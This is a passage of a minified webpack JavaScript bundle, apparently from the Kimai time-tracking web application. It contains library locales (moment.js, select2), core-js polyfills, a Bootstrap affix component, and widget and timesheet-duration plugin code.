n=this.$element.height(),i=this.options.offset,r=i.top,o=i.bottom,a=Math.max(t(document).height(),t(document.body).height());"object"!=typeof i&&(o=r=i),"function"==typeof r&&(r=i.top(this.$element)),"function"==typeof o&&(o=i.bottom(this.$element));var s=this.getState(a,n,r,o);if(this.affixed!=s){null!=this.unpin&&this.$element.css("top","");var l="affix"+(s?"-"+s:""),c=t.Event(l+".bs.affix");if(this.$element.trigger(c),c.isDefaultPrevented())return;this.affixed=s,this.unpin="bottom"==s?this.getPinnedOffset():null,this.$element.removeClass(e.RESET).addClass(l).trigger(l.replace("affix","affixed")+".bs.affix")}"bottom"==s&&this.$element.offset({top:a-n-o})}};var i=t.fn.affix;t.fn.affix=n,t.fn.affix.Constructor=e,t.fn.affix.noConflict=function(){return t.fn.affix=i,this},t(window).on("load",(function(){t('[data-spy="affix"]').each((function(){var e=t(this),i=e.data();i.offset=i.offset||{},null!=i.offsetBottom&&(i.offset.bottom=i.offsetBottom),null!=i.offsetTop&&(i.offset.top=i.offsetTop),n.call(e,i)}))}))}(t)}).call(this,n("EVdn"))},VdOU:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/ko",[],(function(){return{errorLoading:function(){return"결과를 불러올 수 없습니다."},inputTooLong:function(t){return"너무 깁니다. "+(t.input.length-t.maximum)+" 글자 지워주세요."},inputTooShort:function(t){return"너무 짧습니다. "+(t.minimum-t.input.length)+" 글자 더 입력해주세요."},loadingMore:function(){return"불러오는 중…"},maximumSelected:function(t){return"최대 "+t.maximum+"개까지만 선택 가능합니다."},noResults:function(){return"결과가 없습니다."},searching:function(){return"검색 중…"},removeAllItems:function(){return"모든 항목 삭제"}}})),e.define,e.require}()}).call(this,n("EVdn"))},VpIT:function(t,e,n){var i=n("xDBR"),r=n("xs3f");(t.exports=function(t,e){return r[t]||(r[t]=void 0!==e?e:{})})("versions",[]).push({version:"3.10.1",mode:i?"pure":"global",copyright:"© 2021 Denis Pushkarev (zloirock.ru)"})},Vu81:function(t,e,n){var i=n("0GbY"),r=n("JBy8"),o=n("dBg+"),a=n("glrk");t.exports=i("Reflect","ownKeys")||function(t){var e=r.f(a(t)),n=o.f;return n?e.concat(n(t)):e}},WJkJ:function(t,e){t.exports="\t\n\v\f\r                　\u2028\u2029\ufeff"},WKiH:function(t,e,n){var i=n("HYAF"),r="["+n("WJkJ")+"]",o=RegExp("^"+r+r+"*"),a=RegExp(r+r+"*$"),s=function(t){return function(e){var n=String(i(e));return 1&t&&(n=n.replace(o,"")),2&t&&(n=n.replace(a,"")),n}};t.exports={start:s(1),end:s(2),trim:s(3)}},WjRb:function(t,e,n){var i=n("ROdP");t.exports=function(t){if(i(t))throw TypeError("The method doesn't accept regular expressions");return t}},WxRl:function(t,e,n){!function(t){"use strict";var e="vasárnap hétfőn kedden szerdán csütörtökön pénteken szombaton".split(" ");function n(t,e,n,i){var r=t;switch(n){case"s":return i||e?"néhány másodperc":"néhány másodperce";case"ss":return r+(i||e)?" másodperc":" másodperce";case"m":return"egy"+(i||e?" perc":" perce");case"mm":return r+(i||e?" perc":" perce");case"h":return"egy"+(i||e?" óra":" órája");case"hh":return r+(i||e?" óra":" órája");case"d":return"egy"+(i||e?" nap":" napja");case"dd":return r+(i||e?" nap":" napja");case"M":return"egy"+(i||e?" hónap":" hónapja");case"MM":return r+(i||e?" hónap":" hónapja");case"y":return"egy"+(i||e?" év":" éve");case"yy":return r+(i||e?" év":" éve")}return""}function i(t){return(t?"":"[múlt] ")+"["+e[this.day()]+"] LT[-kor]"}t.defineLocale("hu",{months:"január_február_március_április_május_június_július_augusztus_szeptember_október_november_december".split("_"),monthsShort:"jan._feb._márc._ápr._máj._jún._júl._aug._szept._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"vasárnap_hétfő_kedd_szerda_csütörtök_péntek_szombat".split("_"),weekdaysShort:"vas_hét_kedd_sze_csüt_pén_szo".split("_"),weekdaysMin:"v_h_k_sze_cs_p_szo".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY. MMMM D.",LLL:"YYYY. MMMM D. H:mm",LLLL:"YYYY. MMMM D., dddd H:mm"},meridiemParse:/de|du/i,isPM:function(t){return"u"===t.charAt(1).toLowerCase()},meridiem:function(t,e,n){return t<12?!0===n?"de":"DE":!0===n?"du":"DU"},calendar:{sameDay:"[ma] LT[-kor]",nextDay:"[holnap] LT[-kor]",nextWeek:function(){return i.call(this,!0)},lastDay:"[tegnap] LT[-kor]",lastWeek:function(){return i.call(this,!1)},sameElse:"L"},relativeTime:{future:"%s múlva",past:"%s",s:n,ss:n,m:n,mm:n,h:n,hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},WySY:function(t,e,n){},X709:function(t,e,n){!function(t){"use strict";t.defineLocale("sv",{months:"januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"söndag_måndag_tisdag_onsdag_torsdag_fredag_lördag".split("_"),weekdaysShort:"sön_mån_tis_ons_tor_fre_lör".split("_"),weekdaysMin:"sö_må_ti_on_to_fr_lö".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [kl.] HH:mm",LLLL:"dddd D MMMM YYYY [kl.] HH:mm",lll:"D MMM YYYY HH:mm",llll:"ddd D MMM YYYY HH:mm"},calendar:{sameDay:"[Idag] LT",nextDay:"[Imorgon] LT",lastDay:"[Igår] LT",nextWeek:"[På] dddd LT",lastWeek:"[I] dddd[s] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"för %s sedan",s:"några sekunder",ss:"%d sekunder",m:"en minut",mm:"%d minuter",h:"en timme",hh:"%d timmar",d:"en dag",dd:"%d dagar",M:"en månad",MM:"%d månader",y:"ett år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}(\:e|\:a)/,ordinal:function(t){var e=t%10;return t+(1==~~(t%100/10)?":e":1===e||2===e?":a":":e")},week:{dow:1,doy:4}})}(n("wd/R"))},XDpg:function(t,e,n){!function(t){"use strict";t.defineLocale("zh-cn",{months:"一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月".split("_"),monthsShort:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),weekdays:"星期日_星期一_星期二_星期三_星期四_星期五_星期六".split("_"),weekdaysShort:"周日_周一_周二_周三_周四_周五_周六".split("_"),weekdaysMin:"日_一_二_三_四_五_六".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYY年M月D日",LLL:"YYYY年M月D日Ah点mm分",LLLL:"YYYY年M月D日ddddAh点mm分",l:"YYYY/M/D",ll:"YYYY年M月D日",lll:"YYYY年M月D日 HH:mm",llll:"YYYY年M月D日dddd HH:mm"},meridiemParse:/凌晨|早上|上午|中午|下午|晚上/,meridiemHour:function(t,e){return 12===t&&(t=0),"凌晨"===e||"早上"===e||"上午"===e?t:"下午"===e||"晚上"===e?t+12:t>=11?t:t+12},meridiem:function(t,e,n){var i=100*t+e;return i<600?"凌晨":i<900?"早上":i<1130?"上午":i<1230?"中午":i<1800?"下午":"晚上"},calendar:{sameDay:"[今天]LT",nextDay:"[明天]LT",nextWeek:function(t){return t.week()!==this.week()?"[下]dddLT":"[本]dddLT"},lastDay:"[昨天]LT",lastWeek:function(t){return this.week()!==t.week()?"[上]dddLT":"[本]dddLT"},sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}(日|月|周)/,ordinal:function(t,e){switch(e){case"d":case"D":case"DDD":return t+"日";case"M":return t+"月";case"w":case"W":return t+"周";default:return t}},relativeTime:{future:"%s后",past:"%s前",s:"几秒",ss:"%d 秒",m:"1 分钟",mm:"%d 分钟",h:"1 小时",hh:"%d 小时",d:"1 天",dd:"%d 天",w:"1 周",ww:"%d 周",M:"1 个月",MM:"%d 个月",y:"1 年",yy:"%d 年"},week:{dow:1,doy:4}})}(n("wd/R"))},XGwC:function(t,e){t.exports=function(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}}},YF1G:function(t,e,n){var i=n("xrYK"),r=n("2oRo");t.exports="process"==i(r.process)},ZUd8:function(t,e,n){var i=n("ppGB"),r=n("HYAF"),o=function(t){return function(e,n){var o,a,s=String(r(e)),l=i(n),c=s.length;return l<0||l>=c?t?"":void 0:(o=s.charCodeAt(l))<55296||o>56319||l+1===c||(a=s.charCodeAt(l+1))<56320||a>57343?t?s.charAt(l):o:t?s.slice(l,l+2):a-56320+(o-55296<<10)+65536}};t.exports={codeAt:o(!1),charAt:o(!0)}},Zduo:function(t,e,n){!function(t){"use strict";t.defineLocale("eo",{months:"januaro_februaro_marto_aprilo_majo_junio_julio_aŭgusto_septembro_oktobro_novembro_decembro".split("_"),monthsShort:"jan_feb_mart_apr_maj_jun_jul_aŭg_sept_okt_nov_dec".split("_"),weekdays:"dimanĉo_lundo_mardo_merkredo_ĵaŭdo_vendredo_sabato".split("_"),weekdaysShort:"dim_lun_mard_merk_ĵaŭ_ven_sab".split("_"),weekdaysMin:"di_lu_ma_me_ĵa_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"[la] D[-an de] MMMM, YYYY",LLL:"[la] D[-an de] MMMM, YYYY HH:mm",LLLL:"dddd[n], [la] D[-an de] MMMM, YYYY HH:mm",llll:"ddd, [la] D[-an de] MMM, YYYY HH:mm"},meridiemParse:/[ap]\.t\.m/i,isPM:function(t){return"p"===t.charAt(0).toLowerCase()},meridiem:function(t,e,n){return t>11?n?"p.t.m.":"P.T.M.":n?"a.t.m.":"A.T.M."},calendar:{sameDay:"[Hodiaŭ je] LT",nextDay:"[Morgaŭ je] LT",nextWeek:"dddd[n je] LT",lastDay:"[Hieraŭ je] LT",lastWeek:"[pasintan] dddd[n je] LT",sameElse:"L"},relativeTime:{future:"post %s",past:"antaŭ %s",s:"kelkaj sekundoj",ss:"%d sekundoj",m:"unu minuto",mm:"%d minutoj",h:"unu horo",hh:"%d horoj",d:"unu tago",dd:"%d tagoj",M:"unu monato",MM:"%d monatoj",y:"unu jaro",yy:"%d jaroj"},dayOfMonthOrdinalParse:/\d{1,2}a/,ordinal:"%da",week:{dow:1,doy:7}})}(n("wd/R"))},ZfDv:function(t,e,n){var i=n("hh1v"),r=n("6LWA"),o=n("tiKp")("species");t.exports=function(t,e){var n;return r(t)&&("function"!=typeof(n=t.constructor)||n!==Array&&!r(n.prototype)?i(n)&&null===(n=n[o])&&(n=void 0):n=void 0),new(void 0===n?Array:n)(0===e?0:e)}},afO8:function(t,e,n){var i,r,o,a=n("f5p1"),s=n("2oRo"),l=n("hh1v"),c=n("kRJp"),u=n("UTVS"),d=n("xs3f"),f=n("93I0"),h=n("0BK2"),p=s.WeakMap;if(a){var m=d.state||(d.state=new p),g=m.get,y=m.has,v=m.set;i=function(t,e){return e.facade=t,v.call(m,t,e),e},r=function(t){return g.call(m,t)||{}},o=function(t){return y.call(m,t)}}else{var b=f("state");h[b]=!0,i=function(t,e){return e.facade=t,c(t,b,e),e},r=function(t){return u(t,b)?t[b]:{}},o=function(t){return u(t,b)}}t.exports={set:i,get:r,has:o,enforce:function(t){return o(t)?r(t):i(t,{})},getterFor:function(t){return function(e){var n;if(!l(e)||(n=r(e)).type!==t)throw TypeError("Incompatible receiver, "+t+" required");return n}}}},b1O7:function(t,e,n){var i=n("g6v/"),r=n("33Wh"),o=n("/GqU"),a=n("0eef").f,s=function(t){return function(e){for(var n,s=o(e),l=r(s),c=l.length,u=0,d=[];c>u;)n=l[u++],i&&!a.call(s,n)||d.push(t?[n,s[n]]:s[n]);return d}};t.exports={entries:s(!0),values:s(!1)}},bpih:function(t,e,n){!function(t){"use strict";t.defineLocale("it",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:function(){return"[Oggi a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextDay:function(){return"[Domani a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextWeek:function(){return"dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastDay:function(){return"[Ieri a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastWeek:function(){switch(this.day()){case 0:return"[La scorsa] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT";default:return"[Lo scorso] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"}},sameElse:"L"},relativeTime:{future:"tra %s",past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",w:"una settimana",ww:"%d settimane",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n("wd/R"))},busE:function(t,e,n){var i=n("2oRo"),r=n("kRJp"),o=n("UTVS"),a=n("zk60"),s=n("iSVu"),l=n("afO8"),c=l.get,u=l.enforce,d=String(String).split("String");(t.exports=function(t,e,n,s){var l,c=!!s&&!!s.unsafe,f=!!s&&!!s.enumerable,h=!!s&&!!s.noTargetGet;"function"==typeof n&&("string"!=typeof e||o(n,"name")||r(n,"name",e),(l=u(n)).source||(l.source=d.join("string"==typeof e?e:""))),t!==i?(c?!h&&t[e]&&(f=!0):delete t[e],f?t[e]=n:r(t,e,n)):f?t[e]=n:a(e,n)})(Function.prototype,"toString",(function(){return"function"==typeof this&&c(this).source||s(this)}))},ckYw:function(t,e,n){"use strict";n.r(e),n.d(e,"default",(function(){return l}));n("rB9j"),n("EnZy"),n("fbCW"),n("UxlC"),n("eoL8"),n("+2oP"),n("07d7"),n("sMBO"),n("pjDv"),n("PKPk"),n("pNMO"),n("4Brf"),n("0oug"),n("4mDm"),n("3bBZ"),n("J30X");var i=n("EVdn"),r=n.n(i);function o(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(!t)return;if("string"==typeof t)return a(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return a(t,e)}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,s=!0,l=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return s=t.done,t},e:function(t){l=!0,o=t},f:function(){try{s||null==n.return||n.return()}finally{if(l)throw o}}}}function a(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function s(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}var l=function(){function t(e){!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t),this.selector=e,this.overlay=r()('<div class="overlay"><div class="fas fa-sync fa-spin"></div></div>'),this.widget=r()(this.selector),this.href=this.widget.data("href"),this.events=this.widget.data("reload").split(" ");var n,i=this,a=function(t){var e=r()(i.selector+" .box-tools").data("page"),n=i._buildUrl(e);i.loadPage(n)},s=o(this.events);try{for(s.s();!(n=s.n()).done;){var l=n.value;document.addEventListener(l,a)}}catch(t){s.e(t)}finally{s.f()}this.widget.on("click",".box-tools ul.pagination a",(function(t){t.preventDefault(),i.loadPage(r()(t.currentTarget).attr("href"))}))}var e,n,i;return e=t,i=[{key:"create",value:function(e){return new t(e)}}],(n=[{key:"_showOverlay",value:function(){this.widget.append(this.overlay)}},{key:"_hideOverlay",value:function(){r()(this.overlay).remove()}},{key:"loadPage",value:function(t){var e=this,n=this.selector;e._showOverlay(),r.a.ajax({url:t,data:{},success:function(t){var i=r()(t);r()(n+" .box-tools").replaceWith(i.find(".box-tools")),r()(n+" .box-body").replaceWith(i.find(".box-body")),r()(n+" .box-title").replaceWith(i.find(".box-title")),r()(n+" .box-footer").length>0&&r()(n+" .box-footer").replaceWith(i.find(".box-footer")),r()(n+' .box-body [data-toggle="tooltip"]').tooltip(),e.widget.removeData("error-retry"),e._hideOverlay()},dataType:"html",error:function(t,i,o){if(void 0!==t.status&&500===t.status){if(void 0!==e.widget.data("error-retry"))return;var a=r()(n+" .box-tools").data("page");if(a>1){e.widget.data("error-retry",1);var s=e._buildUrl(a-1);e.loadPage(s)}}e._hideOverlay()}})}},{key:"_buildUrl",value:function(t){return this.href.replace("1",t)}}])&&s(e.prototype,n),i&&s(e,i),t}()},"dBg+":function(t,e){e.f=Object.getOwnPropertySymbols},"dG/n":function(t,e,n){var i=n("Qo9l"),r=n("UTVS"),o=n("5Tg+"),a=n("m/L8").f;t.exports=function(t){var e=i.Symbol||(i.Symbol={});r(e,t)||a(e,t,{value:o.f(t)})}},"dQ1+":function(t,e,n){"use strict";n.d(e,"a",(function(){return o}));n("eoL8");var i=n("C9gY");function r(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}var o=function(){function t(){!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t)}var e,n,o;return e=t,(n=[{key:"init",value:function(){}},{key:"getId",value:function(){return null}},{key:"setContainer",value:function(t){if(!(t instanceof i.a))throw new Error("Plugin was given an invalid KimaiContainer");this._core=t}},{key:"getContainer",value:function(){return this._core}},{key:"getConfiguration",value:function(t){return this.getContainer().getConfiguration().get(t)}},{key:"getPlugin",value:function(t){return this.getContainer().getPlugin(t)}}])&&r(e.prototype,n),o&&r(e,o),t}()},"dp/T":function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/ja",[],(function(){return{errorLoading:function(){return"結果が読み込まれませんでした"},inputTooLong:function(t){return t.input.length-t.maximum+" 文字を削除してください"},inputTooShort:function(t){return"少なくとも "+(t.minimum-t.input.length)+" 文字を入力してください"},loadingMore:function(){return"読み込み中…"},maximumSelected:function(t){return t.maximum+" 件しか選択できません"},noResults:function(){return"対象が見つかりません"},searching:function(){return"検索しています…"},removeAllItems:function(){return"すべてのアイテムを削除"}}})),e.define,e.require}()}).call(this,n("EVdn"))},"e+ae":function(t,e,n){!function(t){"use strict";var e="január_február_marec_apríl_máj_jún_júl_august_september_október_november_december".split("_"),n="jan_feb_mar_apr_máj_jún_júl_aug_sep_okt_nov_dec".split("_");function i(t){return t>1&&t<5}function r(t,e,n,r){var o=t+" ";switch(n){case"s":return e||r?"pár sekúnd":"pár sekundami";case"ss":return e||r?o+(i(t)?"sekundy":"sekúnd"):o+"sekundami";case"m":return e?"minúta":r?"minútu":"minútou";case"mm":return e||r?o+(i(t)?"minúty":"minút"):o+"minútami";case"h":return e?"hodina":r?"hodinu":"hodinou";case"hh":return e||r?o+(i(t)?"hodiny":"hodín"):o+"hodinami";case"d":return e||r?"deň":"dňom";case"dd":return e||r?o+(i(t)?"dni":"dní"):o+"dňami";case"M":return e||r?"mesiac":"mesiacom";case"MM":return e||r?o+(i(t)?"mesiace":"mesiacov"):o+"mesiacmi";case"y":return e||r?"rok":"rokom";case"yy":return e||r?o+(i(t)?"roky":"rokov"):o+"rokmi"}}t.defineLocale("sk",{months:e,monthsShort:n,weekdays:"nedeľa_pondelok_utorok_streda_štvrtok_piatok_sobota".split("_"),weekdaysShort:"ne_po_ut_st_št_pi_so".split("_"),weekdaysMin:"ne_po_ut_st_št_pi_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm"},calendar:{sameDay:"[dnes o] LT",nextDay:"[zajtra o] LT",nextWeek:function(){switch(this.day()){case 0:return"[v nedeľu o] LT";case 1:case 2:return"[v] dddd [o] LT";case 3:return"[v stredu o] LT";case 4:return"[vo štvrtok o] LT";case 5:return"[v piatok o] LT";case 6:return"[v sobotu o] LT"}},lastDay:"[včera o] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulú nedeľu o] LT";case 1:case 2:return"[minulý] dddd [o] LT";case 3:return"[minulú stredu o] LT";case 4:case 5:return"[minulý] dddd [o] LT";case 6:return"[minulú sobotu o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"pred %s",s:r,ss:r,m:r,mm:r,h:r,hh:r,d:r,dd:r,M:r,MM:r,y:r,yy:r},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},e0G9:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/hu",[],(function(){return{errorLoading:function(){return"Az eredmények betöltése nem sikerült."},inputTooLong:function(t){return"Túl hosszú. "+(t.input.length-t.maximum)+" karakterrel több, mint kellene."},inputTooShort:function(t){return"Túl rövid. Még "+(t.minimum-t.input.length)+" karakter hiányzik."},loadingMore:function(){return"Töltés…"},maximumSelected:function(t){return"Csak "+t.maximum+" elemet lehet kiválasztani."},noResults:function(){return"Nincs találat."},searching:function(){return"Keresés…"},removeAllItems:function(){return"Távolítson el minden elemet"}}})),e.define,e.require}()}).call(this,n("EVdn"))},"eDl+":function(t,e){t.exports=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"]},eFaj:function(t,e,n){"use strict";n.d(e,"a",(function(){return En}));n("rB9j"),n("UxlC"),n("2B1R"),n("eoL8");var i=n("wd/R"),r=n.n(i),o=n("7LP0"),a=n("sZbX"),s=n("C9gY"),l=(n("R5XZ"),n("+2oP"),n("ExoC"),n("NBAS"),n("SuFq"),n("uL8W"),n("07d7"),n("sMBO"),n("pjDv"),n("PKPk"),n("pNMO"),n("4Brf"),n("0oug"),n("4mDm"),n("3bBZ"),n("J30X"),n("dQ1+"));function c(t){return(c="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function u(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(!t)return;if("string"==typeof t)return d(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return d(t,e)}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,s=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return a=t.done,t},e:function(t){s=!0,o=t},f:function(){try{a||null==n.return||n.return()}finally{if(s)throw o}}}}function d(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function f(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function h(t,e){return(h=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function p(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=g(t);if(e){var r=g(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return m(this,n)}}function m(t,e){return!e||"object"!==c(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function g(t){return(g=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var y=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&h(t,e)}(o,t);var e,n,i,r=p(o);function o(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(e=r.call(this)).selector=t,e}return e=o,(n=[{key:"getId",value:function(){return"timesheet-duration"}},{key:"init",value:function(){this.updateBrowserTitle=!!this.getConfiguration("updateBrowserTitle"),this.updateRecords();var t=this,e=function(){t.updateRecords()};this._updatesHandler=setInterval(e,1e4),document.addEventListener("kimai.timesheetUpdate",e)}},{key:"unregisterUpdates",value:function(){clearInterval(this._updatesHandler)}},{key:"updateRecords",value:function(){var t=[],e=document.querySelectorAll(this.selector);if(0!==e.length){var n,i=u(e);try{for(i.s();!(n=i.n()).done;){var r=n.value,o=r.getAttribute("data-since"),a=this.formatDuration(o);null!==r.getAttribute("data-title")&&"?"!==a&&t.push(a),r.textContent=a}}catch(t){i.e(t)}finally{i.f()}if(0!==t.length&&this.updateBrowserTitle){var s,l=t.shift(),c=u(t.slice(0,2));try{for(c.s();!(s=c.n()).done;)l+=" | "+s.value}catch(t){c.e(t)}finally{c.f()}document.title=l}}else this.updateBrowserTitle&&(document.title=document.querySelector("body").dataset.title)}},{key:"formatDuration",value:function(t){return this.getPlugin("date").formatDuration(t)}}])&&f(e.prototype,n),i&&f(e,i),o}(l.a),v=n("p46w"),b=n.n(v),w=n("EVdn"),_=n.n(w);function k(t){return(k="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function x(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(!t)return;if("string"==typeof t)return S(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return S(t,e)}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,s=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return a=t.done,t},e:function(t){s=!0,o=t},f:function(){try{a||null==n.return||n.return()}finally{if(s)throw o}}}}function S(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function D(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function M(t,e){return(M=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function T(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=L(t);if(e){var r=L(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return C(this,n)}}function C(t,e){return!e||"object"!==k(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function L(t){return(L=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var O=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&M(t,e)}(o,t);var 